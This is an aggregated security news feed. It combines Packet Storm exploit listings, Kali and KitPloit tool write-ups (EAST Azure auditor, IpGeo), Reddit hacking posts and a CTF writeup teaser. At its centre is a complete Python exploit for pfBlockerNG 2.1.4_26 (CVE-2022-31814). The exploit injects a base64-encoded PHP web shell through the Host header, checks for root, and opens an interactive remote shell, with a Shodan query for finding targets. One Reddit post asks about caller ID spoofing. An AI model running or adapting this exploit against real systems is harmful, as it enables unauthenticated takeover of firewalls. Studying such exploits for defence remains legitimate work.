Exploit Collector
Arm Mali CSF kbase_kcpu_command_queue Use-After-Free

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
kbase_csf_kcpu_queue_enqueue() locks the kctx->csf.kcpu_queues, looks up a pointer from inside that structure, then drops the lock before continuing to use the kbase_kcpu_command_queue that was looked up. This is a classic use-after-free pattern, where the lookup of a pointer is protected but the protective lock is then released without first acquiring any other lock or reference to keep the referenced object alive.

SHA-256 | 4fd61c0109d183f3b2a909d608ec4f7ebeb118f98b4d057a01a280c10f5a5339

Download
Source:packetstormsecurity.com

Exploit Collector
pfBlockerNG 2.1.4_26 Remote Code Execution

https://4.bp.blogspot.com/-sHG2jViTb-c/WWlvSCf2XfI/AAAAAAAAINY/YxfxwjOK_o05QB9TpuqqysTdHaIb3yf8wCLcBGAs/s1600/h36.png
pfBlockerNG version 2.1.4_26 remote code execution exploit.

SHA-256 | 4ac7bffe74c29e0dabbff18d552da8d3e73678fb8ed2b4a6a73be8d67499aebc

Download
# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="pfBlockerNG <=
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()

url = args.url
shell_filename = "system_advanced_control.php"

def check_endpoint(url):
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
if response.status_code == 200:
print("[+] pfBlockerNG is installed")
else:
print("\n[-] pfBlockerNG not installed")
sys.exit()

def upload_shell(url, shell_filename):
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
print("[/] Uploading shell...")
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
time.sleep(2)
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
print("[+] Upload succeeded")
else:
print("\n[-] Error uploading shell. Probably patched ", response.content)
sys.exit()

def interactive_shell(url, shell_filename, cmd):
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
print(str(response.text)+"\n")
def delete_shell(url, shell_filename):
delcmd = "rm /usr/local/www/system_advanced_control.php"
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
print("\n[+] Shell deleted")

check_endpoint(url)
upload_shell(url, shell_filename)
try:
while True:
cmd = input("# ")
interactive_shell(url, shell_filename, cmd)
except:
delete_shell(url, shell_filename)


Source:packetstormsecurity.com

Kali Linux Tutorials
EAST – Extensible Azure Security Tool – Documentation

Extensible Azure Security Tool (Later referred as E.A.S.T) is tool for assessing Azure and to some extent Azure AD security controls. Primary use case of EAST is Security data collection for evaluation in Azure Assessments. This information (JSON content) can then be used in various reporting tools, which we use to further correlate and investigate the data.

This tool is licensed under MIT license.
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM1Sco3kNs2NoRgTqdxFRrNYtXdeZ9hHYjSvsB741EgLEoAfwst8AehiVQUjbOosE3zHXShCXIeHa1fPLQ8D4XbvJ8l-bjeuclFQvaltN7sQJ7RpmTDCVFGY6qjMAEw2o6688g_BfL0D0FZvKE2WYDyFh-foaFXstWpvU6d-KOBC23ryvc0nkCq_8i/s16000/1.png https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7NcHs2g-EB002opNnJ0eyY2KcvRlDWEBfZayB-sN74PbMRkful8o3DeQguCee6RC5g4YMY_GCK3wYeh0SIjPiH0zumcL4_uPWC58FUzCZF_Luec0XfBKlU6oNz_DDaQsIW6e_XrslcKqvYOZlzLW70Hx_MLonuKhDWpCiy1WNOqSk6hJNFA34rOZ0/s16000/2.png Release notes* Preview branch introduced Changes:
* Installation now accounts for use of Azure Cloud Shell’s updated version in regards to depedencies (Cloud Shell has now Node.JS v 16 version installed)
* Checking of Databricks cluster types as per advisory

* Audits Databricks clusters for potential privilege elevation – This control requires typically permissions on the databricks cluster”

* Content.json is has now key and content based sorting. This enables doing delta checks with git diff HEAD^1¹ as content.json has predetermined order of results

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit9mIYUARvQ5gPpR4L0Hm3SAsXS3OepoCIvNGc1VW-qk_v1XIqXhu62X6VRrrD_zZfAxoqwHPy2CyHp3cReK30mHPpFxvZyKvd3cysFQ1h5Kwx872KUDDagy1aRI3gJ1RzX_NgdE-l7HrbloZRw4P9zs1vUvmXiSdMLHCBHxreOctfE6DC0tHGxZqy/s16000/3.png
https://s.w.org/images/core/emoji/14.0.0/72x72/26a0.png Word of caution, if want to check deltas of content.json, then content.json will need to be “unignored” from .gitignoreexposing results to any upstream you might have configured.

Note: Use this feature with caution, and ensure you don’t have public upstream set for the branch you are using this feature for

Change of programming patterns to avoid possible race conditions with larger datasets. This is mostly changes of using varto letin for await-style loops Importanthttps://s.w.org/images/core/emoji/14.0.0/72x72/26a0.png Current status of the tool is beta

* Fixes, updates etc. are done on “Best effort” basis, with no guarantee of time, or quality of the possible fix applied
* We do some additional tuning before using EAST in our daily work, such as apply various run and environment restrictions, besides formalizing ourselves with the environment in question. Thus we currently recommend, that EAST is run in only in test environments, and with read-only permissions.
* All the calls in the service are largely to Azure Cloud IP’s, so it should work well in hardened environments where outbound IP restrictions are applied. This reduces the risk of this tool containing malicious packages which could “phone home” without also having C2 in Azure.
* Essentially running it in read-only mode, reduces a lot of the risk associated with possibly compromised NPM packages (Google compromised NPM)
* Bugs etc: You can protect your environment against certain mistakes in this code by running the tool with reader-only permissions
* Lot of the code is “AS IS”: Meaning, it’s been serving only the purpose of creating certain result; Lot of cleaning up and modularizing remains to be finished
* There are no tests at the moment, apart from certain manual checks, that are run after changes to main.js and various more advanced controls.
* The control descriptions at this stage are not the final product, so giving feedback on them, while appreciated, is not the focus of the tooling at this stage
* As [...]

the name implies, we use it as tool to evaluate environments. It is not meant to be run as unmonitored for the time being, and should not be run in any internet exposed service that accepts incoming connections.
* Documentation could be described as incomplete for the time being
* EAST is mostly focused on PaaS resource, as most of our Azure assessments focus on this resource type
* https://s.w.org/images/core/emoji/14.0.0/72x72/26a0.png No Input sanitization is performed on launch params, as it is always assumed, that the input of these parameters are controlled. That being said, the tool uses extensively exec()– While I have not reviewed all paths, I believe that achieving shellcode execution is trivial. This tool does not assume hostile input, thus the recommendation is that you don’t paste launch arguments into command line without reviewing them first. Tool operationDepedenciesTo reduce amount of code we use the following depedencies for operation and aesthetics are used (Kudos to the maintainers of these fantastic packages)
packageaestheticsoperationlicenseaxioshttps://s.w.org/images/core/emoji/14.0.0/72x72/2705.png MITyargshttps://s.w.org/images/core/emoji/14.0.0/72x72/2705.png MITjsonwebtokenhttps://s.w.org/images/core/emoji/14.0.0/72x72/2705.png MITchalkhttps://s.w.org/images/core/emoji/14.0.0/72x72/2705.png MITjs-beautifyhttps://s.w.org/images/core/emoji/14.0.0/72x72/2705.png MIT
Other depedencies for running the tool: If you are planning to run this in Azure Cloud Shell you don’t need to install Azure CLI:

* This tool does not include or distribute Microsoft Azure CLI, but rather uses it when it has been installed on the source system (Such as Azure Cloud Shell, which is primary platform for running EAST)

Azure Cloud Shell (BASH) or applicable Linux Distro / WSL
RequirementdescriptionInstallhttps://s.w.org/images/core/emoji/14.0.0/72x72/2705.png AZ CLIAZCLI USEcurl -sL https://aka.ms/InstallAzureCLIDeb | sudo bashhttps://s.w.org/images/core/emoji/14.0.0/72x72/2705.png Node.js runtime 14Node.js runtime for EASTinstall with NVM ControlsEAST provides three categories of controls: Basic, Advanced, and Composite

The machine readable control looks like this, regardless of the type (Basic/advanced/composite):
{
"name": "fn-sql-2079",
"resource": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/resourcegroups/rg-fn-2079/providers/microsoft.web/sites/fn-sql-2079",
"controlId": "managedIdentity",
"isHealthy": true,
"id": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/resourcegroups/rg-fn-2079/providers/microsoft.web/sites/fn-sql-2079",
"Description": "\r\n Ensure The Service calls downstream resources with managed identity",
"metadata": {
"principalId": {
"type": "SystemAssigned",
"tenantId": "033794f5-7c9d-4e98-923d-7b49114b7ac3",
"principalId": "cb073f1e-03bc-440e-874d-5ed3ce6df7f8"
},
"roles": [{
"role": [{
"properties": {
"roleDefinitionId": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c",
"principalId": "cb073f1e-03bc-440e-874d-5ed3ce6df7f8",
"scope": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/resourceGroups/RG-FN-2079",
"createdOn": "2021-12-27T06:03:09.7052113Z",
"updatedOn": "2021-12-27T06:03:09.7052113Z",
"createdBy": "4257db31-3f22-4c0f-bd57-26cbbd4f5851",
"updatedBy": "4257db31-3f22-4c0f-bd57-26cbbd4f5851"
},
"id": "/subscriptions/6193053b-408b-44d0-b20f-4e29b9b67394/resourceGroups/RG-FN-2079/providers/Microsoft.Authorization/roleAssignments/ada69f21-790e-4386-9f47-c9b8a8c15674",
"type": "Microsoft.Authorization/roleAssignments",
"name": "ada69f21-790e-4386-9f47-c9b8a8c15674",
"RoleName": "Contributor"
}]
}]
},
"category": "Access"
}, BasicBasic controls include checks on the initia[...]

IpGeo - Tool To Extract IP Addresses From Captured Network Traffic File

IpGeo is a python tool to extract IP addresses from captured network traffic file (pcap/pcapng) and generate csv report containing details about the geolocation of each ip in the packets. The report contains: Country: Country Code. Region Region Name City Zip Latitude Longitude Timezone Isp Org Ip Installation Use the package manager pip3 to install required modules. pip3 install coloramapip3 install requestspip3 install pyshark If you are not using Kali or ParrotOs or any other penetration distribution you need to install Tshark. sudo apt install tshark Usage python3 ipGeo.py# then you will enter captured traffic file path Download IpGeo
Read more...

“Going Beyond the Surface: How Vulnerability Assessment and Penetration Testing Can Protect Your…

In today’s digital age, securing computer systems and networks is more important than ever.Continue reading on Medium »
Read more...

KitPloit - PenTest Tools!
IpGeo - Tool To Extract IP Addresses From Captured Network Traffic File

https://blogger.googleusercontent.com/img/a/AVvXsEg7ohzuA6Y1SpYkzKjZFygsDCCPwInRy2eTwdw2NPcHEGD1uCBd6ItlnM7vbAKmtPH9gVrSqcoH3RCW4a2fuQhmS6jqbBRQgrCf5cqSHrjzd4Zz_p8NbEyZrRzKt0Ou2IizXY4W86m1iS0NcuQo46s0W4gSWKfGW0ejBMmcI5VQNyb5ofYQXp-thxpaTw=w640-h368
IpGeo is a python tool to extract IP addresses from captured network traffic file (pcap/pcapng) and generate csv report containing details about the geolocation of each ip in the packets.
The report contains:

1. Country:
2. Country Code.
3. Region
4. Region Name
5. City
6. Zip
7. Latitude
8. Longitude
9. Timezone
10. Isp
11. Org
12. Ip

Installation

Use the package manager pip3 to install required modules.

pip3 install colorama
pip3 install requests
pip3 install pyshark

If you are not using Kali or ParrotOs or any other penetration distribution you need to install Tshark.

sudo apt install tshark

Usage

python3 ipGeo.py
# then you will enter captured traffic file path
Download IpGeo

hacking: security in practice
What are the first steps to getting into cyber security/legal hacking as a career?

Do I need to try to go back to school for computer science or can I take coding classes online or something? Super lost so any help would be very appreciated. I need a career change badly I can’t do this office shit anymore.

submitted by /u/falasteenisapphic
[link] [comments]

hacking: security in practice
Anyone here spoof caller IDs?

Is there anyone who knows of, or has insight about the status of caller ID spoofing in 2023? I am reading that its dead and I am reading its very much a thing. The Phreaking sub is on life support so I am asking here.

submitted by /u/WhyDozTheKniferKnife
[link] [comments]

Hacking on Medium
CTF Writeup: MHSCTF 2023

https://cdn-images-1.medium.com/max/1606/1*j0ujtZXYstb2v8kyQWxAsw.png
I participated in MHSCTF 2023, which went on between 01 Feb. 2023, 17:00 UTC — 14 Feb. 2023, 22:00 UTC. This blog post contains the…

Continue reading on Medium »